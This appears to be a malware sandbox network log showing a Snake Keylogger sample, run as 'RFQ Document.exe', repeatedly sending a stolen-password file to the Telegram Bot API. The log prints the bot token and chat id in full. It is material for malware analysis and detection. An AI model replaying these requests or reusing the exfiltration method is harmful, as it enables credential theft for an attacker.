2021-09-28 05:59:01 UTC	227	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:01 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:01 UTC	228	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 32 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 34 31 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12729,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808741,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
143	192.168.2.4	49942	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:02 UTC	228	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255da7d07f1 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:02 UTC	229	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 64 61 37 64 30 37 66 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255da7d07f1Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:02 UTC	229	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:02 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:02 UTC	229	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 33 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 34 32 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12730,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808742,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
144	192.168.2.4	49943	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:02 UTC	230	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255da94deb0 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:02 UTC	230	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 64 61 39 34 64 65 62 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255da94deb0Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:02 UTC	231	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:02 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:02 UTC	231	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 33 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 34 32 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12731,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808742,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
145	192.168.2.4	49944	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:02 UTC	231	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255dab3dcf1 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:02 UTC	232	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 64 61 62 33 64 63 66 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255dab3dcf1Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:02 UTC	232	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:02 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:02 UTC	233	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 33 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 34 32 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12732,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808742,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
146	192.168.2.4	49948	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:02 UTC	233	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255dad2dbd1 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:02 UTC	233	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 64 61 64 32 64 62 64 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255dad2dbd1Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:02 UTC	234	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:02 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:02 UTC	234	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 33 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 34 32 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12733,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808742,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
147	192.168.2.4	49950	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:02 UTC	235	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255daef78f9 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:02 UTC	235	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 64 61 65 66 37 38 66 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255daef78f9Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:02 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:02 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:02 UTC	236	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 33 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 34 32 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12734,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808742,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
148	192.168.2.4	49951	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:02 UTC	236	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255db074f2c Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:02 UTC	237	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 64 62 30 37 34 66 32 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255db074f2cContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:03 UTC	237	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:03 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:03 UTC	237	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 33 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 34 33 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12735,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808743,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
149	192.168.2.4	49953	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:03 UTC	238	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255db2d74a4 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:03 UTC	238	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 64 62 32 64 37 34 61 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255db2d74a4Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:03 UTC	239	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:03 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:03 UTC	239	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 33 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 34 33 2c 22 64 Data Ascii: 